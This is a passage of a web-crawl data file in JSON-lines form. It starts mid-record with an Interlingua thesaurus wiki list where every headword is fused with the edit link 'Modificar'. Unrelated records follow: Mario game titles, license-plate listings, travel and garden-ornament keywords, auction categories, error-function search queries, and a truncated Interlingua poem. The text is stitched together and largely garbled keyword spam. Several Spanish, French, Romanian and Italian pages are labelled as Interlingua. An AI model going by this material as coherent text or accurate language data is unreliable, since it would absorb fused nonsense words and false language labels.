sustentation sustentatoriModificar sustentatori sustentorModificar sustentor sustentor de familiaModificar sustentor de familia susurranteModificar susurrante susurrarModificar susurrar susurrar un secreto al aure de un personaModificar susurrar un secreto al aure de un persona susurrationModificar susurration susurratorModificar susurrator susurroModificar susurro sutraModificar sutra suturaModificar sutura sutura coronalModificar sutura coronal sutura cranialModificar sutura cranial sutura cranianModificar sutura cranian sutura de anguloModificar sutura de angulo sutura de cranioModificar sutura de cranio sutura del cranioModificar sutura del cranio sutura frontal del cranioModificar sutura frontal del cranio sutura lambdoideModificar sutura lambdoide sutura longitudinalModificar sutura longitudinal sutura occipitalModificar sutura occipital sutura sagittalModificar sutura sagittal sutura squamoseModificar sutura squamose sutura transversalModificar sutura transversal sutura zygomaticModificar sutura zygomatic suturalModificar sutural suturarModificar suturar suturar un plagaModificar suturar un plaga suturar un vulnereModificar suturar un vulnere svasticaModificar svastica svedeModificar svede svedeseModificar svedese SvediaModificar Svedia svedoModificar svedo svelteModificar svelte sveltessaModificar sveltessa swahiliModificar swahili swaziModificar swazi SwazilandModificar Swaziland sweaterModificar sweater sweepstakeModificar sweepstake swingModificar swing swingarModificar swingar sybaritaModificar sybarita sybariticModificar sybaritic sybaritismoModificar sybaritismo sycomoroModificar sycomoro syconioModificar syconio sycophanteModificar sycophante sycosisModificar sycosis syeniteModificar syenite syllabaModificar syllaba syllaba accentuateModificar syllaba accentuate syllaba antepenultimeModificar syllaba antepenultime syllaba aperteModificar syllaba aperte syllaba clauditeModificar syllaba claudite syllaba clauseModificar syllaba clause syllaba de reduplicationModificar syllaba de reduplication syllaba finalModificar syllaba final syllaba inaccentuateModificar syllaba inaccentuate syllaba muteModificar syllaba mute syllaba penultimeModificar syllaba penultime syllaba protheticModificar syllaba prothetic syllaba protonicModificar syllaba protonic syllaba thematicModificar syllaba thematic syllaba tonicModificar syllaba tonic syllabarModificar syllabar syllabarioModificar syllabario syllabas homophoneModificar syllabas homophone syllabationModificar syllabation syllabicModificar syllabic syllabismoModificar syllabismo syllabusModificar syllabus syllepsisModificar syllepsis syllepticModificar sylleptic syllogisarModificar syllogisar syllogismoModificar syllogismo syllogisticModificar syllogistic syllogisticaModificar syllogistica syllogistica aristotelicModificar syllogistica aristotelic syllogistica medievalModificar syllogistica medieval sylphideModificar sylphide sylphoModificar sylpho sylviaModificar sylvia symbionteModificar symbionte symbiose = symbiosisModificar symbiose = symbiosis symbioticModificar symbiotic symbolicModificar symbolic symbolicaModificar symbolica symbolisarModificar symbolisar symbolisationModificar symbolisation symbolismoModificar symbolismo symbolismo del circuloModificar symbolismo del circulo symbolismo religioseModificar symbolismo religiose symbolistaModificar symbolista symbolisticModificar symbolistic symboloModificar symbolo symbolo aniconicModificar symbolo aniconic symbolo binomialModificar symbolo binomial symbolo chimicModificar symbolo chimic symbolo de prestigio socialModificar symbolo de prestigio social symbolo de referentiaModificar symbolo de referentia symbolo del libraModificar symbolo del libra symbolo masonicModificar symbolo masonic symbolo numeralModificar symbolo numeral symbolo phallicModificar symbolo phallic symbolo stenographicModificar symbolo stenographic symbolo viventeModificar symbolo vivente symbologiaModificar symbologia symbolos apocalypticModificar symbolos apocalyptic symbolos litteralModificar symbolos litteral symbolos stenographicModificar symbolos stenographic symmetriaModificar symmetria symmetria axialModificar symmetria axial symmetria bilateralModificar symmetria bilateral symmetria del inversionModificar symmetria del inversion symmetria rotationalModificar symmetria rotational symmetricModificar symmetric symmetrisarModificar symmetrisar symmetrisationModificar symmetrisation sympathiaModificar sympathia sympathias communistaModificar sympathias communista sympathicModificar sympathic sympathisanteModificar sympathisante sympathisarModificar sympathisar sympatricModificar sympatric symphoneModificar symphone symphoniaModificar symphonia symphonia choralModificar symphonia choral symphonia concertanteModificar symphonia concertante symphonia de coloresModificar symphonia de colores symphonia in quatro partesModificar symphonia in quatro partes symphonicModificar symphonic symphonistaModificar symphonista symphoricarpoModificar symphoricarpo symphyse = symphysisModificar symphyse = symphysis symphyse pubianModificar symphyse pubian symphyse pubicsymphyse pubicModificar symphyse pubicsymphyse pubic symphytoModificar symphyto symplecticModificar symplectic sympodialModificar sympodial sympodioModificar sympodio symposiumModificar symposium symptomaModificar symptoma symptoma accessoriModificar symptoma accessori symptoma concomitanteModificar symptoma concomitante symptoma de degenerationModificar symptoma de degeneration symptoma de degenerescentiaModificar symptoma de degenerescentia symptoma de fatigaModificar symptoma de fatiga symptoma de febreModificar symptoma de febre symptoma de intoxicationModificar symptoma de intoxication symptoma de invenenamentoModificar symptoma de invenenamento symptoma de retentionModificar symptoma de retention symptoma de senescentiaModificar symptoma de senescentia symptoma de stressModificar symptoma de stress symptoma degenerativeModificar symptoma degenerative symptoma diacriticModificar symptoma diacritic symptoma diagnosticModificar symptoma diagnostic symptoma morboseModificar symptoma morbose symptomas asthenicModificar symptomas asthenic symptomas concomitanteModificar symptomas concomitante symptomas de disintoxicationModificar symptomas de disintoxication symptomas de fatigaModificar symptomas de fatiga symptomas de invenenamentoModificar symptomas de invenenamento symptomas de toxicomaniaModificar symptomas de toxicomania symptomas diphteroideModificar symptomas diphteroide symptomas hystericModificar symptomas hysteric symptomas paranoicModificar symptomas paranoic symptomas pathognosticModificar symptomas pathognostic symptomas pellagroseModificar symptomas pellagrose symptomas prodromicModificar symptomas prodromic symptomas scorbuticModificar symptomas scorbutic symptomas syphiliticModificar symptomas syphilitic symptomas toxicModificar symptomas toxic symptomas vaccinalModificar symptomas vaccinal symptomaticModificar symptomatic symptomaticitateModificar symptomaticitate symptomatologiaModificar symptomatologia symptomatologicModificar symptomatologic symptome de abstinentiaModificar symptome de abstinentia synagogaModificar synagoga synagogalModificar synagogal synalepheModificar synalephe synallagmaticModificar synallagmatic synandricModificar synandric synangioModificar synangio synapse = synapsisModificar synapse = synapsis synapticModificar synaptic synarthrose = synarthrosisModificar synarthrose = synarthrosis synchorologiaModificar synchorologia synchrocyclotronModificar synchrocyclotron synchroneModificar synchrone synchroniaModificar synchronia synchronicModificar synchronic synchronicitateModificar synchronicitate synchronisarModificar synchronisar synchronisar le horologiosModificar synchronisar le horologios synchronisar un filmModificar synchronisar un film synchronisationModificar synchronisation synchronisation de un filmModificar synchronisation de un film synchronisation del imagines con le sonoModificar synchronisation del imagines con le sono synchronisatorModificar synchronisator synchronismoModificar synchronismo synchrotronModificar synchrotron synchrotronicModificar synchrotronic synclinalModificar synclinal syncopalModificar syncopal syncoparModificar syncopar syncopateModificar syncopate syncopationModificar syncopation syncopeModificar syncope syncope cardiacModificar syncope cardiac syncope convulsiveModificar syncope convulsive syncope del cordeModificar syncope del corde syncopicModificar syncopic syncrasisModificar syncrasis syncreticModificar syncretic syncretisarModificar syncretisar syncretisationModificar syncretisation syncretisation del culturas grec e orientalModificar syncretisation del culturas grec e oriental syncretismoModificar syncretismo syncretistaModificar syncretista syncretisticModificar syncretistic syncrystallisarModificar syncrystallisar syncrystallisationModificar syncrystallisation syncytialModificar syncytial syncytioModificar syncytio syndactyleModificar syndactyle syndactyliaModificar syndactylia syndicalModificar syndical syndicalismoModificar syndicalismo syndicalistaModificar syndicalista syndicarModificar syndicar syndicar seModificar syndicar se syndicatoModificar syndicato syndicato de amortisationModificar syndicato de amortisation syndicato de assecuratoresModificar syndicato de assecuratores syndicato de bancasModificar syndicato de bancas syndicato de laboratoresModificar syndicato de laboratores Syndicato de Productores de Plantas OrnamentalModificar Syndicato de Productores de Plantas Ornamental syndicato de studentesModificar syndicato de studentes syndicato de studiantesModificar syndicato de studiantes syndicato de travaliatoresModificar syndicato de travaliatores Syndicato del Productores de Plantas OrnamentalModificar Syndicato del Productores de Plantas Ornamental syndicato financiariModificar syndicato financiari Syndicato General de FunctionariosModificar Syndicato General de Functionarios Syndicato General de Functionarios PublicModificar Syndicato General de Functionarios Public syndicato unitariModificar syndicato unitari syndicoModificar syndico syndroma schizophreneModificar syndroma schizophrene syndromeModificar syndrome syndrome de campo de concentrationModificar syndrome de campo de concentration syndrome de DownModificar syndrome de Down syndrome de ParkinsonModificar syndrome de Parkinson syndrome de radiationModificar syndrome de radiation syndrome del radiationModificar syndrome del radiation syndrome depressiveModificar syndrome depressive syndrome edematicModificar syndrome edematic syndrome enterorenalModificar syndrome enterorenal syndrome epilepticModificar syndrome epileptic syndrome hemiplegicModificar syndrome hemiplegic syndrome parkinsonianModificar syndrome parkinsonian syndrome phobicModificar syndrome phobic syndrome premenstrualModificar syndrome premenstrual syndrome schizophrenicModificar syndrome schizophrenic syndrome thalamicModificar syndrome thalamic syndromicModificar syndromic synecdocheModificar synecdoche synechiaModificar synechia synecologiaModificar synecologia synecologicModificar synecologic SynedrioModificar Synedrio syneresisModificar syneresis synergeticModificar synergetic synergiaModificar synergia synergia de duo organos pro le mesme functionModificar synergia de duo organos pro le mesme function synergicModificar synergic synergismoModificar synergismo synergistaModificar synergista synesthesiaModificar synesthesia syngamiaModificar syngamia syngenese = syngenesisModificar syngenese = syngenesis syngeneticModificar syngenetic synodalModificar synodal synodicModificar synodic synodistaModificar synodista synodoModificar synodo synodo diocesanModificar synodo diocesan synodo episcopalModificar synodo episcopal synonymeModificar synonyme synonymiaModificar synonymia synonymicModificar synonymic synonymoModificar synonymo synopse = synopsisModificar synopse = synopsis synopticModificar synoptic synopticoModificar synoptico synoviaModificar synovia synovialModificar synovial synovitisModificar synovitis syntacticModificar syntactic syntagmaModificar syntagma syntagmaticModificar syntagmatic syntaxe = syntaxisModificar syntaxe = syntaxis synthese = synthesisModificar synthese = synthesis synthese enzymaticModificar synthese enzymatic synthese proteicModificar synthese proteic syntheticModificar synthetic syntheticitateModificar syntheticitate synthetisarModificar synthetisar synthetisar le elementos de un theoriaModificar synthetisar le elementos de un theoria synthetisatorModificar synthetisator synthetisator de parolaModificar synthetisator de parola syntoneModificar syntone syntoniaModificar syntonia syntonisarModificar syntonisar syntonisar un radio a un emissorModificar syntonisar un radio a un emissor syntonisationModificar syntonisation syntonisatorModificar syntonisator syntrophismoModificar syntrophismo SyphilisModificar Syphilis syphilisModificar syphilis syphilis hereditariModificar syphilis hereditari syphiliticModificar syphilitic syphiliticoModificar syphilitico syphilographiaModificar syphilographia syphilographicModificar syphilographic syphilographoModificar syphilographo syphilologiaModificar syphilologia syphilologoModificar syphilologo syphilophobiaModificar syphilophobia syracusanModificar syracusan SyriaModificar Syria syriacModificar syriac syriacoModificar syriaco syrianModificar syrian syrianoModificar syriano syriarchaModificar syriarcha syrieModificar syrie syringaModificar syringa syringa a ballon de cauchuModificar syringa a ballon de cauchu syringa a clysterModificar syringa a clyster syringa a lavamentoModificar syringa a lavamento syringa de clysterModificar syringa de clyster syringa de heroinaModificar syringa de heroina syringa de lavamentoModificar syringa de lavamento syringa de morphinaModificar syringa de morphina syringa hypodermicModificar syringa hypodermic syringa injectorModificar syringa injector syringa nasalModificar syringa nasal syringalModificar syringal syringarModificar syringar syringationModificar syringation syringeModificar syringe syrioModificar syrio syrphoModificar syrpho systalticModificar systaltic systemaModificar systema systema abhorrenteModificar systema abhorrente systema abominabileModificar systema abominabile systema achromaticModificar systema achromatic systema agrari rotativeModificar systema agrari rotative systema anthropocentricModificar systema anthropocentric systema antiradarModificar systema antiradar systema astaticModificar systema astatic systema astronomic geocentricModificar systema astronomic geocentric systema bicameralModificar systema bicameral systema binomialModificar systema binomial systema binominalModificar systema binominal systema capitalistaModificar systema capitalista systema capitalistic de productionModificar systema capitalistic de production systema catechisticModificar systema catechistic systema cegesimalModificar systema cegesimal systema cellularModificar systema cellular systema cerebralModificar systema cerebral systema cerebro-spinalModificar systema cerebro-spinal systema cerebrospinalModificar systema cerebrospinal systema cerebro-spinalModificar systema cerebro-spinal systema cerebrospinalsystema colonialModificar systema cerebrospinalsystema colonial systema colonialModificar systema colonial systema cometariModificar systema cometari systema commercialModificar systema commercial systema conjugateModificar systema conjugate systema consistenteModificar systema consistente systema consonanticModificar systema consonantic systema contraproducenteModificar systema contraproducente systema cooperativeModificar systema cooperative systema corporativeModificar systema corporative systema cosmogonicModificar systema cosmogonic systema crystallinModificar systema crystallin systema DaltonModificar systema Dalton systema de administrationModificar systema de administration systema de agulias astaticModificar systema de agulias astatic systema de alarmaModificar systema de alarma systema de annuitatesModificar systema de annuitates systema de antenna centralModificar systema de antenna central systema de arrentamentoModificar systema de arrentamento systema de assedioModificar systema de assedio systema de avestruthioModificar systema de avestruthio systema de bridgeModificar systema de bridge systema de campusModificar systema de campus systema de canalesModificar systema de canales systema de canales de irrigationModificar systema de canales de irrigation systema de casosModificar systema de casos systema de classamentoModificar systema de classamento systema de classesModificar systema de classes systema de classificationModificar systema de classification systema de classification pedogeneticModificar systema de classification pedogenetic systema de clearingModificar systema de clearing systema de cloacasModificar systema de cloacas systema de codicesModificar systema de codices systema de colonisationModificar systema de colonisation systema de conscriptionModificar systema de conscription systema de controloModificar systema de controlo systema de convioModificar systema de convio systema de convoyoModificar systema de convoyo systema de coordinatasModificar systema de coordinatas systema de coordinatas polarModificar systema de coordinatas polar systema de creditoModificar systema de credito systema de crystallosModificar systema de crystallos systema de curationModificar systema de curation systema de defensaModificar systema de defensa systema de discontoModificar systema de disconto systema de districtosModificar systema de districtos systema de documentationModificar systema de documentation systema de dossiersModificar systema de dossiers systema de educationModificar systema de education systema de eliminationModificar systema de elimination systema de fluviosModificar systema de fluvios systema de frenageModificar systema de frenage systema de frenosModificar systema de frenos systema de governamentoModificar systema de governamento systema de grottasModificar systema de grottas systema de impostosModificar systema de impostos systema de inseniamentoModificar systema de inseniamento systema de interphonoModificar systema de interphono systema de irrigationesModificar systema de irrigationes systema de lanceamentoModificar systema de lanceamento systema de leasingModificar systema de leasing systema de lentesModificar systema de lentes systema de licentiasModificar systema de licentias systema de localisationModificar systema de localisation systema de locomotionModificar systema de locomotion systema de logarithmosModificar systema de logarithmos systema de mesura incrementalModificar systema de mesura incremental systema de metallisationModificar systema de metallisation systema de navigationModificar systema de navigation systema de nervos sympathicModificar systema de nervos sympathic systema de normasModificar systema de normas systema de numerationModificar systema de numeration systema de numeration duodecimalModificar systema de numeration duodecimal systema de ordinationModificar systema de ordination systema de oxydoreductionModificar systema de oxydoreduction systema de pagamentosModificar systema de pagamentos systema de partitosModificar systema de partitos systema de patentesModificar systema de patentes systema de phonemasModificar systema de phonemas systema de pourboiresModificar systema de pourboires systema de productionModificar systema de production systema de punctuationModificar systema de punctuation systema de radarModificar systema de radar systema de rationamentoModificar systema de rationamento systema de reciprocitateModificar systema de reciprocitate systema de recrutamentoModificar systema de recrutamento systema de referentiaModificar systema de referentia systema de refrigerationModificar systema de refrigeration systema de repartitionModificar systema de repartition systema de retroaction del informationesModificar systema de retroaction del informationes systema de salariosModificar systema de salarios systema de securitateModificar systema de securitate systema de sparnioModificar systema de sparnio systema de stellasModificar systema de stellas systema de subsidiosModificar systema de subsidios systema de subventionesModificar systema de subventiones systema de testModificar systema de test systema de transferentiasModificar systema de transferentias systema de transmissionModificar systema de transmission systema de trencheasModificar systema de trencheas systema de tres equipasModificar systema de tres equipas systema de unitatesModificar systema de unitates systema de ventilationModificar systema de ventilation systema decimalModificar systema decimal systema defensiveModificar systema defensive systema dentariModificar systema dentari systema diatonicModificar systema diatonic systema dodecaphonicModificar systema dodecaphonic systema dolbyModificar systema dolby systema dualistaModificar systema dualista systema dualisticModificar systema dualistic systema duodecimalModificar systema duodecimal systema eclecticModificar systema eclectic systema ecologicModificar systema ecologic systema economicModificar systema economic systema educativeModificar systema educative systema electiveModificar systema elective systema electoralModificar systema electoral systema emphyteoticModificar systema emphyteotic systema enzymaticModificar systema enzymatic systema execrabileModificar systema execrabile systema extensive de camminosModificar systema extensive de camminos systema federalistaModificar systema federalista systema feudalModificar systema feudal systema fiscalModificar systema fiscal systema fluvialModificar systema fluvial systema ganglionarModificar systema ganglionar systema genito-urinariModificar systema genito-urinari systema gerontocraticModificar systema gerontocratic systema governamentalModificar systema governamental systema heliocentricModificar systema heliocentric systema heliocentric copernicanModificar systema heliocentric copernican systema hexadecimeModificar systema hexadecime systema HollerithModificar systema Hollerith systema holonomicModificar systema holonomic systema homogeneModificar systema homogene systema hormonalModificar systema hormonal systema immunitariModificar systema immunitari systema informaticModificar systema informatic systema interactiveModificar systema interactive systema juridicModificar systema juridic systema lexical de un linguaModificar systema lexical de un lingua systema linguisticModificar systema linguistic systema lymphaticModificar systema lymphatic systema majoritariModificar systema majoritari systema metricModificar systema metric systema monetariModificar systema monetari systema monocameralModificar systema monocameral systema monopolistaModificar systema monopolista systema monopolisticModificar systema monopolistic systema montanioseModificar systema montaniose systema multiplexModificar systema multiplex systema muscularModificar systema muscular systema nervoseModificar systema nervose systema nervose animalModificar systema nervose animal systema nervose autonomeModificar systema nervose autonome systema nervose central","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_su","date":"2020-02-18T09:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143646.38\/warc\/CC-MAIN-20200218085715-20200218115715-00108.warc.gz","language":"ina","language_score":0.9340769053,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.9340769052505493, \"ile_Latn_score\": 0.012537678703665733}","num_words":25085,"character_repetition_ratio":0.218,"word_repetition_ratio":0.011,"special_characters_ratio":0.098,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.952,"perplexity_score":6528.7,"cluster_detection":-1} +{"text":"juegos de mario bros de terror\nSuper Mario Bros Crossoverjuegos de mario bros de terror\nThe Adventure of Super Mario Landjuegos de mario bros de terror\nMario Adventure 2juegos de mario bros de terror\nJuego de Mario Bros: Mario Forever Flashjuegos de mario bros de terror\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros de terror\nJuegos de Mario bros: Mario Shotgun 2juegos de mario bros de terror\nMario Town 2juegos de mario bros de terror\nSuper Mario flash partyjuegos de mario bros de terror\nSuper Mario Jigsaw Puzzle 4juegos de mario bros de terror\nMario ATV 2juegos de mario bros de terror\nSuper Mario bros star scramble 2juegos de mario bros de terror\nBowser Ball 2juegos de mario bros de terror\nMario Atvjuegos de mario bros de terror\nSuper Mario 3: Star Scramblejuegos de mario bros de terror\nMario Super Smashjuegos de mario bros de terror\nSuper Mario 63juegos de mario bros de terror\nSuper Mario World Flash 2juegos de mario bros de terror\nSuper Mario Flashjuegos de mario bros de terror\nJuegos de Mario Bros: Mario Hoodjuegos de mario bros de terror\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros de terror\nJuegos de Mario Bros: Super Flashjuegos de mario bros de terror\nWario Puzzlejuegos de mario bros de terror\nJuegos de Mario Bros: Super Mario Waterjuegos de mario bros de terror\nMario Kartjuegos de mario bros de terror\nMario Flat Screenjuegos de mario bros de terror\nInfinite Mario Brosjuegos de mario bros de terror\nJump Mariojuegos de mario bros de terror\nMario Shoot zombiesjuegos de mario bros de terror\nSuper Mario Coin Catcherjuegos de mario bros de terror\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros de terror\nMario Boxing Gamejuegos de mario bros de terror\nSuper Mario Space invadersjuegos de mario bros de terror","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/juegosdemariobros.net\/terror\/","date":"2021-07-25T18:19:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151760.94\/warc\/CC-MAIN-20210725174608-20210725204608-00465.warc.gz","language":"ina","language_score":0.4036187232,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.403618723154068, \"spa_Latn_score\": 0.38800862431526184, \"frp_Latn_score\": 0.04724077507853508, \"glg_Latn_score\": 0.03821318969130516, \"alz_Latn_score\": 0.02253875322639942, \"srd_Latn_score\": 0.01633599027991295, \"mwl_Latn_score\": 0.012394795194268227}","num_words":574,"character_repetition_ratio":0.432,"word_repetition_ratio":0.303,"special_characters_ratio":0.181,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":5986.6,"cluster_detection":-1} +{"text":"Votre panier est vide.\n27 résultats affichés\n27 Produits\nPlaque Immatriculation\nPlaque Immatriculation Canada British Columbia\nPlaque Immatriculation New Mexico Usa\nPlaque Immatriculation Usa Arizona Grand Canyon State\nPlaque Immatriculation Usa California\nPlaque Immatriculation Usa Connecticut\nPlaque Immatriculation Usa Connecticut Constitution State\nPlaque Immatriculation Usa Florida Palm Beach\nPlaque Immatriculation Usa Florida Save The Manatee\nPlaque Immatriculation Usa Florida University\nPlaque Immatriculation Usa Georgia\nPlaque Immatriculation Usa Illinois\nPlaque Immatriculation Usa Illinois Ambulance\nPlaque Immatriculation Usa Indiana\nPlaque Immatriculation Usa Indiana Bicentennial\nPlaque Immatriculation Usa Indiana Truck\nPlaque Immatriculation Usa Iowa\nPlaque Immatriculation Usa Maine\nPlaque Immatriculation Usa Minnesota\nPlaque Immatriculation Usa Mississippi Jackson\nPlaque Immatriculation Usa Mississippi Lauderdale\nPlaque Immatriculation Usa Montana Big Sky\nPlaque Immatriculation Usa Nebraska\nPlaque Immatriculation Usa Nevada The Silver State\nPlaque Immatriculation Usa New Jersey\nPlaque Immatriculation Usa New Mexico\nPlaque Immatriculation Usa Wyoming 1975\nPlaque Immatriculation Usa Wyoming 1978\nIdentifiant ou e-mail *\nMot de passe *\nSe souvenir de moi\nIdentification\nMot de passe perdu ?","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ma-plaque-vintage.com\/categorie-produit\/plaque-immatriculation\/","date":"2022-12-03T09:41:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00680.warc.gz","language":"ina","language_score":0.377759248,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37775924801826477, \"eng_Latn_score\": 0.06698323786258698, \"fra_Latn_score\": 0.05022715404629707, \"mlt_Latn_score\": 0.038703542202711105, \"kiu_Latn_score\": 0.028466835618019104, \"por_Latn_score\": 0.026634443551301956, \"fin_Latn_score\": 0.023516181856393814, \"slv_Latn_score\": 0.021693840622901917, \"ceb_Latn_score\": 0.01941380277276039, \"sme_Latn_score\": 0.019110044464468956, \"ile_Latn_score\": 0.01791222020983696, \"sco_Latn_score\": 0.017284711822867393, \"scn_Latn_score\": 0.01511572115123272, \"ita_Latn_score\": 0.014002453535795212, \"lvs_Latn_score\": 0.013917946256697178, \"pol_Latn_score\": 0.012596608139574528, \"frp_Latn_score\": 0.011691122315824032, \"ekk_Latn_score\": 0.011658771894872189, \"hrv_Latn_score\": 0.011409297585487366}","num_words":334,"character_repetition_ratio":0.425,"word_repetition_ratio":0.018,"special_characters_ratio":0.137,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":24280.4,"cluster_detection":-1} +{"text":"Excursiones cerca de ainsa\nCerca\nExcursiones cerca de vitoria\nExcursiones cerca de estambul\nExcursiones naturaleza cerca de madrid\nExcursiones cerca de tallin\nExcursiones cerca de benidorm\nExcursiones cerca de barcelona con perro\nExcursiones cerca de navia\nExcursiones cerca de edimburgo\nExcursiones mallorca cerca del mar\nExcursiones cerca de tudela\nExcursiones cerca de benicasim\nExcursiones cerca de milan\nExcursiones cerca de oporto\nExcursiones cerca de paris\nExcursiones cerca de bangkok\nExcursiones cerca de ronda\nExcursiones cerca de sagunto\nExcursiones cerca de santiago de chile\nExcursiones cerca de zaragoza\nExcursiones cerca de bilbao\nExcursiones cerca de madrid en invierno","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/aldeaguntin.es\/cerca\/","date":"2023-05-30T15:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224645810.57\/warc\/CC-MAIN-20230530131531-20230530161531-00786.warc.gz","language":"ina","language_score":0.7788904905,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7788904905319214, \"spa_Latn_score\": 0.1630876660346985, \"ast_Latn_score\": 0.03650200366973877}","num_words":187,"character_repetition_ratio":0.43,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":4528.8,"cluster_detection":-1} +{"text":"balustri Dumbraveni decoratiuni din beton Dumbraveni decoratiuni gradina Dumbraveni fantana arteziana Dumbraveni fantani arteziene Dumbraveni figurine de gradina Dumbraveni jardiniere Dumbraveni ornamente de gradina Dumbraveni ornamente din beton Dumbraveni pitici de gradina Dumbraveni stalpisori gradina Dumbraveni statuete decorative Dumbraveni statuete gradina Dumbraveni statuete leu Dumbraveni statuete vulturi Dumbraveni vaze gradina Dumbraveni Ornamente Grădină Dumbraveni Vezi produsele","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/stalpisori-statuete.ro\/eticheta\/fantana-arteziana-dumbraveni\/","date":"2024-04-13T10:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816587.89\/warc\/CC-MAIN-20240413083102-20240413113102-00326.warc.gz","language":"ina","language_score":0.4128500521,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.4128500521183014, \"ron_Latn_score\": 0.09814911335706711, \"dag_Latn_score\": 0.06275808066129684, \"ltg_Latn_score\": 0.050056226551532745, \"scn_Latn_score\": 0.04395292326807976, \"slv_Latn_score\": 0.03678315505385399, \"vec_Latn_score\": 0.027939075604081154, \"nap_Latn_score\": 0.024655843153595924, \"bos_Latn_score\": 0.02244710922241211, \"lij_Latn_score\": 0.018505413085222244, \"epo_Latn_score\": 0.017816124483942986, \"cos_Latn_score\": 0.01752518117427826, \"lat_Latn_score\": 0.010610943660140038}","num_words":152,"character_repetition_ratio":0.282,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.171,"perplexity_score":12296.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite generatoriAste per le vendite attrezzature industrialiAste per le vendite compressoriAste per le vendite motopompeAste per le vendite altre macchine ediliAste per le vendite impianti di saldaturaAste per le vendite trivellatriciAste per le vendite impalcatureAste per le vendite frattazzatriciAste per le vendite nastri trasportatoriAste per le vendite impianti di frantumazione » Aste per le vendite generatori DEUTZAste per le vendite ATLASAste per le vendite Atlas CopcoAste per le vendite CATERPILLARAste per le vendite CUMMINSAste per le vendite GESANAste per le vendite OLYMPIANAste per le vendite PRAMACAste per le vendite SDMOAste per le vendite TEREX","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-generatore-DEUTZ--c7tk2322tm2533.html","date":"2016-12-04T14:23:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541322.19\/warc\/CC-MAIN-20161202170901-00182-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.6676108241,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6676108241081238, \"ita_Latn_score\": 0.20614534616470337, \"nap_Latn_score\": 0.05173472687602043, \"lmo_Latn_score\": 0.03031543456017971, \"frp_Latn_score\": 0.01980873942375183, \"bew_Latn_score\": 0.01404903456568718}","num_words":210,"character_repetition_ratio":0.386,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.856,"perplexity_score":2532.7,"cluster_detection":-1} +{"text":"error function complex\nerror function @ ordinal 2512 missing\nerror function complex number\nerror funciton\nerror function inverse matlab\nerror function asymptotic approximation\nerror function python\nerror function erf calculator\nerror function _main redefined\nerror function in excel\nerror function qx table\nerror function @ ordinal 724 missing\nerror function large values\nerror function online calculator\nerror function in fortran 90\nerror function matlab example\nerror function calculator\nerror function probability integral\nerror function approximation\nerror function complex argument\nerror function code matlab\nerror fucntion\nerror function complementary calculator\nerror function series approximation\nerror function integral gaussian","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/invictanetworks.net\/error-function","date":"2017-12-13T03:14:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948521188.19\/warc\/CC-MAIN-20171213030444-20171213050444-00017.warc.gz","language":"ina","language_score":0.5457517505,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5457517504692078, \"eng_Latn_score\": 0.3423546850681305, \"ile_Latn_score\": 0.07860440015792847}","num_words":149,"character_repetition_ratio":0.31,"word_repetition_ratio":0.014,"special_characters_ratio":0.147,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":19415.2,"cluster_detection":-1} +{"text":"Vigilante vade\ntrans vetule silvas\nobscur e frigide\nplenate de umbras\nmi amico le cercator\nde veritates celate\ncontos incognite\ne factos oblidate\nnonobstante que protesta\nle voce timente\nque con critas molesta\nfallimento predicente\nEsque vos sape que trovara\nle cercator tan valente?\nSu via nunquam finira\nsin limite es su mente\nForas del silvas obscur\nes le monte illuminate\ncoperite del celo azur\nde flores imbraciate\nIbi le cammino duce\ndel persistente cercator\ne illac attende le pace\nle facente un 